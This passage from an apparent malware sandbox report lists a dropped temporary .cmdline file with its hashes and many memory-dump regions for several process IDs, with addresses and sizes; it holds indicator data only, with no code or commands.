                                                                                        8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

                                                                                        SHA512

                                                                                        22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

                                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\vlnlvhgw\vlnlvhgw.cmdline

                                                                                        Filesize

                                                                                        607B

                                                                                        MD5

                                                                                        30036d2e5ba1f5833eb5a49fa990b762

                                                                                        SHA1

                                                                                        5001e6b2e95f17f482c10365e6ad37edaa4be94a

                                                                                        SHA256

                                                                                        8935da7e109cfc1650bc1128ff85592445930446a460996da0c9c7f757e1e014

                                                                                        SHA512

                                                                                        cf6269c6bd286033757334e2e905609933eb8350122c1b27e3ac7bcd5d2dd4373f540465a829efae3b7e083f07ab6e9a111ec34d77869fb38bf8d1803cf0255d

                                                                                      • memory/2164-237-0x00000225FC1B0000-0x00000225FC1B8000-memory.dmp

                                                                                        Filesize

                                                                                        32KB

                                                                                      • memory/2496-90-0x000001C3B69E0000-0x000001C3B6A02000-memory.dmp

                                                                                        Filesize

                                                                                        136KB

                                                                                      • memory/3424-56-0x00007FF9ED750000-0x00007FF9ED769000-memory.dmp

                                                                                        Filesize

                                                                                        100KB

                                                                                      • memory/3424-70-0x00007FF9D24B0000-0x00007FF9D2B13000-memory.dmp

                                                                                        Filesize

                                                                                        6.4MB

                                                                                      • memory/3424-118-0x00007FF9E3A10000-0x00007FF9E3B8F000-memory.dmp

                                                                                        Filesize

                                                                                        1.5MB

                                                                                      • memory/3424-72-0x00007FF9E4400000-0x00007FF9E44CE000-memory.dmp

                                                                                        Filesize

                                                                                        824KB

                                                                                      • memory/3424-105-0x00007FF9E70B0000-0x00007FF9E70D5000-memory.dmp

                                                                                        Filesize

                                                                                        148KB

                                                                                      • memory/3424-73-0x0000020033CE0000-0x0000020034213000-memory.dmp

                                                                                        Filesize

                                                                                        5.2MB

                                                                                      • memory/3424-66-0x00007FF9E7070000-0x00007FF9E70A4000-memory.dmp

                                                                                        Filesize

                                                                                        208KB

                                                                                      • memory/3424-74-0x00007FF9DED70000-0x00007FF9DF2A3000-memory.dmp

                                                                                        Filesize

                                                                                        5.2MB

                                                                                      • memory/3424-64-0x00007FF9ED020000-0x00007FF9ED02D000-memory.dmp

                                                                                        Filesize

                                                                                        52KB

                                                                                      • memory/3424-62-0x00007FF9ED700000-0x00007FF9ED719000-memory.dmp

                                                                                        Filesize

                                                                                        100KB

                                                                                      • memory/3424-303-0x00007FF9E7070000-0x00007FF9E70A4000-memory.dmp

                                                                                        Filesize

                                                                                        208KB

                                                                                      • memory/3424-306-0x00007FF9E4400000-0x00007FF9E44CE000-memory.dmp

                                                                                        Filesize

                                                                                        824KB

                                                                                      • memory/3424-307-0x0000020033CE0000-0x0000020034213000-memory.dmp

                                                                                        Filesize

                                                                                        5.2MB

                                                                                      • memory/3424-60-0x00007FF9E3A10000-0x00007FF9E3B8F000-memory.dmp

                                                                                        Filesize

                                                                                        1.5MB

                                                                                      • memory/3424-58-0x00007FF9E70B0000-0x00007FF9E70D5000-memory.dmp

                                                                                        Filesize

                                                                                        148KB

                                                                                      • memory/3424-76-0x00007FF9E95B0000-0x00007FF9E95C4000-memory.dmp

                                                                                        Filesize

                                                                                        80KB

                                                                                      • memory/3424-54-0x00007FF9E70E0000-0x00007FF9E710B000-memory.dmp

                                                                                        Filesize

                                                                                        172KB

                                                                                      • memory/3424-31-0x00007FF9E83A0000-0x00007FF9E83C7000-memory.dmp

                                                                                        Filesize

                                                                                        156KB

                                                                                      • memory/3424-32-0x00007FF9ED7A0000-0x00007FF9ED7AF000-memory.dmp

                                                                                        Filesize

                                                                                        60KB

                                                                                      • memory/3424-25-0x00007FF9D24B0000-0x00007FF9D2B13000-memory.dmp

                                                                                        Filesize

                                                                                        6.4MB

                                                                                      • memory/3424-71-0x00007FF9E83A0000-0x00007FF9E83C7000-memory.dmp

                                                                                        Filesize

                                                                                        156KB

                                                                                      • memory/3424-213-0x00007FF9ED700000-0x00007FF9ED719000-memory.dmp

                                                                                        Filesize

                                                                                        100KB

                                                                                      • memory/3424-81-0x00007FF9E3D00000-0x00007FF9E3DB3000-memory.dmp

                                                                                        Filesize

                                                                                        716KB

                                                                                      • memory/3424-78-0x00007FF9E70E0000-0x00007FF9E710B000-memory.dmp

                                                                                        Filesize

                                                                                        172KB

                                                                                      • memory/3424-79-0x00007FF9E9460000-0x00007FF9E946D000-memory.dmp

                                                                                        Filesize

                                                                                        52KB

                                                                                      • memory/3424-322-0x00007FF9DED70000-0x00007FF9DF2A3000-memory.dmp

                                                                                        Filesize

                                                                                        5.2MB

                                                                                      • memory/3424-324-0x00007FF9D24B0000-0x00007FF9D2B13000-memory.dmp

                                                                                        Filesize

                                                                                        6.4MB

                                                                                      • memory/3424-330-0x00007FF9E3A10000-0x00007FF9E3B8F000-memory.dmp

                                                                                        Filesize

                                                                                        1.5MB

                                                                                      • memory/3424-357-0x00007FF9D24B0000-0x00007FF9D2B13000-memory.dmp

                                                                                        Filesize

                                                                                        6.4MB

                                                                                      • memory/3424-372-0x00007FF9DED70000-0x00007FF9DF2A3000-memory.dmp

                                                                                        Filesize

                                                                                        5.2MB

                                                                                      • memory/3424-386-0x00007FF9E3D00000-0x00007FF9E3DB3000-memory.dmp

                                                                                        Filesize

                                                                                        716KB

                                                                                      • memory/3424-385-0x00007FF9E9460000-0x00007FF9E946D000-memory.dmp

                                                                                        Filesize

                                                                                        52KB

                                                                                      • memory/3424-384-0x00007FF9E95B0000-0x00007FF9E95C4000-memory.dmp

                                                                                        Filesize

                                                                                        80KB

                                                                                      • memory/3424-383-0x0000020033CE0000-0x0000020034213000-memory.dmp

                                                                                        Filesize

                                                                                        5.2MB

                                                                                      • memory/3424-382-0x00007FF9E4400000-0x00007FF9E44CE000-memory.dmp

                                                                                        Filesize

                                                                                        824KB

                                                                                      • memory/3424-381-0x00007FF9E7070000-0x00007FF9E70A4000-memory.dmp

                                                                                        Filesize

                                                                                        208KB

                                                                                      • memory/3424-380-0x00007FF9ED020000-0x00007FF9ED02D000-memory.dmp

                                                                                        Filesize

                                                                                        52KB

                                                                                      • memory/3424-379-0x00007FF9ED700000-0x00007FF9ED719000-memory.dmp

                                                                                        Filesize

                                                                                        100KB

                                                                                      • memory/3424-378-0x00007FF9E3A10000-0x00007FF9E3B8F000-memory.dmp

                                                                                        Filesize

                                                                                        1.5MB

                                                                                      • memory/3424-377-0x00007FF9E70B0000-0x00007FF9E70D5000-memory.dmp

                                                                                        Filesize

                                                                                        148KB

                                                                                      • memory/3424-376-0x00007FF9ED750000-0x00007FF9ED769000-memory.dmp

                                                                                        Filesize

                                                                                        100KB

                                                                                      • memory/3424-375-0x00007FF9E70E0000-0x00007FF9E710B000-memory.dmp

                                                                                        Filesize

                                                                                        172KB

                                                                                      • memory/3424-374-0x00007FF9E83A0000-0x00007FF9E83C7000-memory.dmp

                                                                                        Filesize

                                                                                        156KB

                                                                                      • memory/3424-373-0x00007FF9ED7A0000-0x00007FF9ED7AF000-memory.dmp

                                                                                        Filesize

                                                                                        60KB